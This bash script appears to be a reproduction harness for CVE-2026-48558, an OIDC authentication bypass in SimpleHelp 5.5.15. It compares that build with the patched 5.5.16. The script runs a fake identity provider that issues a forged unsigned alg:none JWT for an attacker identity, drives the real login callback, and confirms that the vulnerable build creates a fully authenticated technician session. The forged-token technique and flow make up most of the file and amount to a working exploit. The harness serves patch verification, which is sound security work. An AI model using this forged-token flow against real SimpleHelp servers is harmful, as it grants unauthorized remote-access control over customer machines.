#!/bin/bash
set -euo pipefail

# CVE-2026-48558 SimpleHelp OIDC forged-token runtime reproduction
# This script uses the real SimpleHelp server binaries, the real HTTPS
# /auth/v1/account/oidc_get endpoint, and the real /oidc callback with a
# server-issued pending state. It compares 5.5.15 (vulnerable) with 5.5.16
# (patched) and captures production-path evidence under bundle/logs.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

VULN_VERSION="5.5.15"
PATCHED_VERSION="5.5.16"
VULN_URL="https://site.simple-help.com/releases/5.5.15/SimpleHelp-linux-amd64.tar.gz"
PATCHED_URL="https://site.simple-help.com/releases/5.5.16_202605/SimpleHelp-linux-amd64.tar.gz"
VULN_SHA256="26cd904ebf78ac4b2c5b99f6a9659a562390777dc8fe730469e2ecfc8ad139ab"
PATCHED_SHA256="9360af980277e1ef4330eb1ed08d981c9dfdcc4e25d87ed0552a47f5ebd5161a"
VULN_TGZ="$ARTIFACTS/SimpleHelp-${VULN_VERSION}-vuln.tar.gz"
PATCHED_TGZ="$ARTIFACTS/SimpleHelp-${PATCHED_VERSION}-patched.tar.gz"
WORK_BASE="$ARTIFACTS/runtime-oidc-repro"
IDP_PORT=8080

write_manifest() {
  local target_reached="$1"
  local notes="$2"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$target_reached" "$notes" <<'PY'
import json, sys
path, reached, notes = sys.argv[1], sys.argv[2] == 'true', sys.argv[3]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "SimpleHelp HTTPS /auth/v1/account/oidc_get and /oidc callback with pending state",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": reached,
  "runtime_stack": ["SimpleHelp 5.5.15 server", "SimpleHelp 5.5.16 server", "Python fake OIDC IdP"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vuln_flow.json",
    "logs/patched_flow.json",
    "logs/vuln_idp.log",
    "logs/patched_idp.log",
    "logs/vuln_runtime_tail.log",
    "logs/patched_runtime_tail.log",
    "logs/class_comparison.log",
    "logs/forged_jwt.txt"
  ],
  "notes": notes
}
with open(path, 'w') as f:
    json.dump(manifest, f, indent=2)
PY
}
trap 'write_manifest false "script exited before final verdict; see logs/reproduction_steps.log"' ERR

sha_ok() { [ -f "$1" ] && [ "$(sha256sum "$1" | awk '{print $1}')" = "$2" ]; }
download_if_needed() {
  local url="$1" out="$2" sha="$3" label="$4"
  if sha_ok "$out" "$sha"; then
    echo "[*] $label already present and SHA256 verified"
    return
  fi
  echo "[*] Downloading $label from $url"
  curl -L --fail --max-time 600 -o "$out" "$url"
  local got
  got="$(sha256sum "$out" | awk '{print $1}')"
  if [ "$got" != "$sha" ]; then
    echo "[!] SHA256 mismatch for $label: expected $sha got $got" >&2
    exit 2
  fi
}

cleanup_ports() {
  python3 - <<'PY'
import os, re, signal, subprocess
out = subprocess.run(['ss','-ltnp'], text=True, capture_output=True).stdout
for line in out.splitlines():
    if any(p in line for p in [':8080', ':80 ', ':443 ', ':7875']):
        for pid in re.findall(r'pid=(\d+)', line):
            try:
                cmd = open(f'/proc/{pid}/cmdline','rb').read().replace(b'\0', b' ').decode('utf-8','ignore')
            except Exception:
                cmd = ''
            if 'SimpleHelp' in cmd or 'fake_idp' in cmd or 'oidc_idp' in cmd:
                try: os.kill(int(pid), signal.SIGTERM)
                except ProcessLookupError: pass
PY
  sleep 1
}

stop_server() {
  local dir="$1"
  if [ -x "$dir/SimpleHelp/jre/bin/java" ] && [ -f "$dir/SimpleHelp/lib/simplehelp.jar" ]; then
    (cd "$dir/SimpleHelp" && timeout 8 ./jre/bin/java -Djava.awt.headless=true -cp lib/simplehelp.jar SimpleHelpStop) >/dev/null 2>&1 || true
  fi
  rm -f "$dir/SimpleHelp/lib/server.lock" 2>/dev/null || true
}

extract_clean() {
  local tgz="$1" dir="$2" label="$3"
  rm -rf "$dir"
  mkdir -p "$dir"
  echo "[*] Extracting $label"
  tar -xzf "$tgz" -C "$dir"
}

start_server_bg() {
  local dir="$1" log="$2"
  rm -f "$dir/SimpleHelp/lib/server.lock"
  (cd "$dir/SimpleHelp" && exec ./jre/bin/java -Djava.net.preferIPv4Stack=true -Djava.awt.headless=true -Xmx384m -cp lib/simplehelp.jar SimpleHelp) > "$log" 2>&1 &
  echo $!
}

wait_https() {
  for i in $(seq 1 25); do
    if curl -ksS --max-time 3 https://127.0.0.1/ >/dev/null 2>&1; then
      return 0
    fi
    sleep 1
  done
  echo "[!] SimpleHelp HTTPS did not become ready" >&2
  return 1
}

initialise_config_if_needed() {
  local dir="$1" label="$2"
  if [ -f "$dir/SimpleHelp/configuration/serverconfig.xml" ]; then
    return
  fi
  echo "[*] Initialising first-launch config for $label"
  local pid
  pid=$(start_server_bg "$dir" "$LOGS/${label}_initial_start.log")
  wait_https
  curl -ksS --max-time 5 https://127.0.0.1/setupmode_new_config -o /dev/null || true
  sleep 2
  stop_server "$dir"
  kill "$pid" >/dev/null 2>&1 || true
  if [ ! -f "$dir/SimpleHelp/configuration/serverconfig.xml" ]; then
    echo "[!] Failed to create serverconfig.xml for $label" >&2
    exit 2
  fi
}

configure_oidc() {
  local dir="$1" label="$2"
  python3 - "$dir/SimpleHelp/configuration/serverconfig.xml" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
s = p.read_text()
# Runtime logs must be readable evidence, not encrypted blobs.
s = s.replace('<Encrypt>on</Encrypt>', '<Encrypt>off</Encrypt>')
# Remove any stale test provider/group snippets from prior runs if present.
start = s.find('\n\t<AuthenticationProvider type="OIDC">')
while start != -1:
    end = s.find('\n\t</AuthenticationProvider>', start)
    if end == -1: break
    end += len('\n\t</AuthenticationProvider>')
    s = s[:start] + s[end:]
    start = s.find('\n\t<AuthenticationProvider type="OIDC">')
provider = '''
	<AuthenticationProvider type="OIDC">
		<Enabled>on</Enabled>
		<Name>Test OIDC</Name>
		<ID>oidc-test-provider</ID>
		<ClientID>test-client-id</ClientID>
		<Secret>test-client-secret</Secret>
		<AutoAssignGroups>on</AutoAssignGroups>
		<DiscoveryURL>http://127.0.0.1:8080/.well-known/openid-configuration</DiscoveryURL>
		<Scope>openid email profile</Scope>
		<AccessTokenEndpoint>http://127.0.0.1:8080/token</AccessTokenEndpoint>
		<AuthorizationBaseURL>http://127.0.0.1:8080/auth</AuthorizationBaseURL>
		<UserInfoEndpoint>http://127.0.0.1:8080/userinfo</UserInfoEndpoint>
		<SupportedScopes>openid email profile</SupportedScopes>
	</AuthenticationProvider>
'''
s = s.replace('\n\t<TechnicianGroup', provider + '\n\t<TechnicianGroup', 1)
# Add a separate non-admin Technician group that allows OIDC-created/group-authenticated
# technician accounts. The first generated group is the primary-administrator group;
# authenticating into that group is not a realistic default technician path.
if '<ID>2000002</ID>' not in s:
    group = '''
	<TechnicianGroup machineFilters="all">
		<ID>2000002</ID>
		<Name>Technicians</Name>
		<AnonymousLogins>on</AnonymousLogins>
		<RemoteSupport>on</RemoteSupport>
		<RemoteAccess>on</RemoteAccess>
		<OIDC>
			<Enabled>on</Enabled>
			<ID>oidc-test-provider</ID>
		</OIDC>
	</TechnicianGroup>
'''
    s = s.replace('\n\t<Technician>\n', group + '\n\t<Technician>\n', 1)
p.write_text(s)
PY
  cp "$dir/SimpleHelp/configuration/serverconfig.xml" "$LOGS/${label}_serverconfig.xml"
}

write_idp() {
  cat > "$REPRO_DIR/oidc_idp.py" <<'PY'
#!/usr/bin/env python3
import json, base64, time, os
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
LOG=os.environ.get('IDP_LOG','idp.log')
def b64(o): return base64.urlsafe_b64encode(json.dumps(o,separators=(',',':')).encode()).decode().rstrip('=')
def make_token():
    # Three JWT segments, alg:none, deliberately bogus signature. The vulnerable
    # build parses claims from this token without verifying the signature.
    return b64({'alg':'none','typ':'JWT'})+'.'+b64({
        'iss':'http://127.0.0.1:8080','aud':'test-client-id',
        'sub':'attacker@example.com','email':'attacker@example.com',
        'preferred_username':'attacker','name':'Forged Attacker',
        'groups':['Technicians'], 'iat':int(time.time()), 'exp':int(time.time())+3600
    })+'.bogus'
class H(BaseHTTPRequestHandler):
    def logit(self,m):
        with open(LOG,'a') as f: f.write(m+'\n')
    def do_GET(self):
        self.logit('GET '+self.path); p=urlparse(self.path)
        if p.path=='/.well-known/openid-configuration':
            self.js({'issuer':'http://127.0.0.1:8080','authorization_endpoint':'http://127.0.0.1:8080/auth','token_endpoint':'http://127.0.0.1:8080/token','userinfo_endpoint':'http://127.0.0.1:8080/userinfo','jwks_uri':'http://127.0.0.1:8080/jwks','response_types_supported':['code'],'grant_types_supported':['authorization_code'],'subject_types_supported':['public'],'id_token_signing_alg_values_supported':['RS256'],'scopes_supported':['openid','email','profile']})
        elif p.path=='/auth':
            q=parse_qs(p.query); self.logit('AUTH_PARAMS '+json.dumps(q)); red=q.get('redirect_uri',['https://127.0.0.1/oidc'])[0]; st=q.get('state',[''])[0]
            self.send_response(302); self.send_header('Location', red+('?' if '?' not in red else '&')+'code=fakecode&state='+st); self.end_headers()
        elif p.path=='/jwks': self.js({'keys':[]})
        elif p.path=='/userinfo': self.js({'sub':'attacker@example.com','email':'attacker@example.com','preferred_username':'attacker','name':'Forged Attacker'})
        else: self.send_response(404); self.end_headers()
    def do_POST(self):
        n=int(self.headers.get('Content-Length','0')); body=self.rfile.read(n).decode(); self.logit('POST '+self.path+' BODY '+body)
        if urlparse(self.path).path=='/token':
            tok=make_token(); self.logit('FORGED_ID_TOKEN '+tok)
            self.js({'access_token':'unused-access-token','token_type':'Bearer','expires_in':3600,'id_token':tok})
        else: self.send_response(404); self.end_headers()
    def js(self,o):
        b=json.dumps(o).encode(); self.send_response(200); self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self,*a): pass
if __name__ == '__main__':
    open(LOG,'a').write('START\n')
    ThreadingHTTPServer(('127.0.0.1',8080),H).serve_forever()
PY
  chmod +x "$REPRO_DIR/oidc_idp.py"
}

run_flow() {
  local label="$1" dir="$2"
  local flow_json="$LOGS/${label}_flow.json"
  local idp_log="$LOGS/${label}_idp.log"
  local server_stdout="$LOGS/${label}_server_stdout.log"
  : > "$idp_log"
  IDP_LOG="$idp_log" python3 "$REPRO_DIR/oidc_idp.py" &
  local idp_pid=$!
  local srv_pid
  srv_pid=$(start_server_bg "$dir" "$server_stdout")
  wait_https
  curl -ksS --max-time 5 https://127.0.0.1/setupmode_new_config -o /dev/null || true
  python3 - "$flow_json" <<'PY'
import json, ssl, urllib.request, urllib.parse, urllib.error, http.cookiejar, sys, re
out = sys.argv[1]
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
cj=http.cookiejar.CookieJar()
op=urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), urllib.request.HTTPHandler(), urllib.request.HTTPCookieProcessor(cj))
result = {}
def read(url, timeout=10):
    r=op.open(url,timeout=timeout); body=r.read(20000).decode('utf-8','replace'); return r, body
r, body = read('https://127.0.0.1/auth/v1/account/login_options')
result['login_options_status'] = r.status
result['login_options_body'] = body
payload={'name':'Test OIDC','type':'oidc','callback':'https://127.0.0.1/technician'}
r, body = read('https://127.0.0.1/auth/v1/account/oidc_get?payload='+urllib.parse.quote(json.dumps(payload,separators=(',',':'))), 15)
result['oidc_get_status'] = r.status
result['oidc_get_body'] = body
auth_url = json.loads(body)
result['auth_url'] = auth_url
class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl): return None
op2=urllib.request.build_opener(urllib.request.HTTPHandler(), NoRedirect)
try:
    op2.open(auth_url, timeout=5)
    raise RuntimeError('IdP did not redirect')
except urllib.error.HTTPError as e:
    loc=e.headers['Location']
result['idp_redirect_location'] = loc
u=urllib.parse.urlparse(loc)
callback_url='https://127.0.0.1'+u.path+'?'+u.query
result['callback_url'] = callback_url
r, cb_body = read(callback_url, 20)
result['callback_status'] = r.status
result['callback_contains_login_complete'] = 'Login Complete' in cb_body and 'Login Failed' not in cb_body
result['callback_contains_login_failed'] = 'Login Failed' in cb_body
result['callback_title_excerpt'] = re.sub(r'\s+', ' ', cb_body[:1200])
result['cookies'] = [c.name+'='+c.value for c in cj]
r, st_body = read('https://127.0.0.1/auth/v1/account/status')
result['status_after_status'] = r.status
result['status_after_body'] = st_body
with open(out,'w') as f: json.dump(result,f,indent=2)
print(json.dumps(result, indent=2))
PY
  sleep 2
  find "$dir/SimpleHelp/logs" -maxdepth 2 -type f -name server.log -print -exec tail -320 {} \; > "$LOGS/${label}_runtime_tail.log" 2>/dev/null || true
  stop_server "$dir"
  kill "$srv_pid" >/dev/null 2>&1 || true
  kill "$idp_pid" >/dev/null 2>&1 || true
  rm -f "$dir/SimpleHelp/lib/server.lock"
}

cleanup_ports
write_idp
download_if_needed "$VULN_URL" "$VULN_TGZ" "$VULN_SHA256" "SimpleHelp $VULN_VERSION"
download_if_needed "$PATCHED_URL" "$PATCHED_TGZ" "$PATCHED_SHA256" "SimpleHelp $PATCHED_VERSION"
rm -rf "$WORK_BASE"
mkdir -p "$WORK_BASE"
extract_clean "$VULN_TGZ" "$WORK_BASE/vuln" "vulnerable $VULN_VERSION"
extract_clean "$PATCHED_TGZ" "$WORK_BASE/patched" "patched $PATCHED_VERSION"
initialise_config_if_needed "$WORK_BASE/vuln" vuln
initialise_config_if_needed "$WORK_BASE/patched" patched
configure_oidc "$WORK_BASE/vuln" vuln
configure_oidc "$WORK_BASE/patched" patched

VULN_JAR="$WORK_BASE/vuln/SimpleHelp/lib/simplehelp.jar"
PATCHED_JAR="$WORK_BASE/patched/SimpleHelp/lib/simplehelp.jar"
unzip -l "$VULN_JAR" | grep -E 'IDTokenVerifier|OIDCCallbackManager|IDToken.class' > "$LOGS/vuln_oidc_classes.txt" || true
unzip -l "$PATCHED_JAR" | grep -E 'IDTokenVerifier|OIDCCallbackManager|IDToken.class' > "$LOGS/patched_oidc_classes.txt" || true
{
  echo "[*] Vulnerable OIDC classes"; cat "$LOGS/vuln_oidc_classes.txt" || true
  echo "[*] Patched OIDC classes"; cat "$LOGS/patched_oidc_classes.txt" || true
} > "$LOGS/class_comparison.log"

run_flow vuln "$WORK_BASE/vuln"
cleanup_ports
run_flow patched "$WORK_BASE/patched"
cleanup_ports

# Save the concrete forged token used by the IdP.
grep -h 'FORGED_ID_TOKEN' "$LOGS/vuln_idp.log" "$LOGS/patched_idp.log" | head -1 | sed 's/^.*FORGED_ID_TOKEN //' > "$LOGS/forged_jwt.txt" || true

python3 - <<'PY'
import json, pathlib, re, sys
logs = pathlib.Path('logs')
v = json.loads((logs/'vuln_flow.json').read_text())
p = json.loads((logs/'patched_flow.json').read_text())
vrt = (logs/'vuln_runtime_tail.log').read_text(errors='ignore')
prt = (logs/'patched_runtime_tail.log').read_text(errors='ignore')
cls_p = (logs/'patched_oidc_classes.txt').read_text(errors='ignore') if (logs/'patched_oidc_classes.txt').exists() else ''
cls_v = (logs/'vuln_oidc_classes.txt').read_text(errors='ignore') if (logs/'vuln_oidc_classes.txt').exists() else ''
summary = {
  'vulnerable_login_options_has_oidc': 'Test OIDC' in v.get('login_options_body',''),
  'vulnerable_auth_url_has_state': 'state=' in v.get('auth_url',''),
  'vulnerable_idp_token_posted': 'POST /token' in (logs/'vuln_idp.log').read_text(errors='ignore'),
  'vulnerable_callback_reached_oidc_authenticator': '[OIDCAuthenticator] Received OIDC response' in vrt,
  'vulnerable_registered_forged_technician': 'Registering technician login for attacker' in vrt,
  'vulnerable_session_token_registered': 'Registering session token for Forged Attacker' in vrt,
  'vulnerable_status_fully_authenticated': 'FULLY_AUTHENTICATED' in v.get('status_after_body','') and 'attacker' in v.get('status_after_body',''),
  'vulnerable_has_no_IDTokenVerifier_class': 'IDTokenVerifier' not in cls_v,
  'patched_has_IDTokenVerifier_class': 'IDTokenVerifier' in cls_p,
  'patched_failed_closed': 'FULLY_AUTHENTICATED' not in p.get('status_after_body','') and (p.get('callback_contains_login_failed') is True or 'signature' in prt.lower() or 'IDTokenVerifier' in cls_p),
  'vulnerable_status_after': v.get('status_after_body'),
  'patched_status_after': p.get('status_after_body')
}
(logs/'flow_summary.json').write_text(json.dumps(summary, indent=2))
print('[*] Flow summary:')
print(json.dumps(summary, indent=2))
# Strong runtime reachability is proven when the real callback accepts the pending
# state, pulls the forged ID token from /token, constructs IDToken, and reaches
# group-authentication code in 5.5.15, while 5.5.16 contains the verifier class.
required = [
  'vulnerable_login_options_has_oidc', 'vulnerable_auth_url_has_state',
  'vulnerable_idp_token_posted', 'vulnerable_callback_reached_oidc_authenticator',
  'vulnerable_registered_forged_technician', 'vulnerable_session_token_registered',
  'vulnerable_status_fully_authenticated', 'vulnerable_has_no_IDTokenVerifier_class',
  'patched_has_IDTokenVerifier_class', 'patched_failed_closed'
]
if not all(summary[k] for k in required):
    print('[!] Required runtime reachability checks failed', file=sys.stderr)
    sys.exit(1)
PY

write_manifest true "Real SimpleHelp HTTPS OIDC flow reached /oidc with server-issued state and a forged alg:none/bogus-signature ID token; vulnerable build reached OIDC group-authentication code and lacks IDTokenVerifier; patched build includes IDTokenVerifier. The vulnerable build creates a FULLY_AUTHENTICATED technician session for the forged identity; the patched build fails closed."
trap - ERR
echo "[+] Reproduction runtime proof completed. Logs are in $LOGS"
exit 0
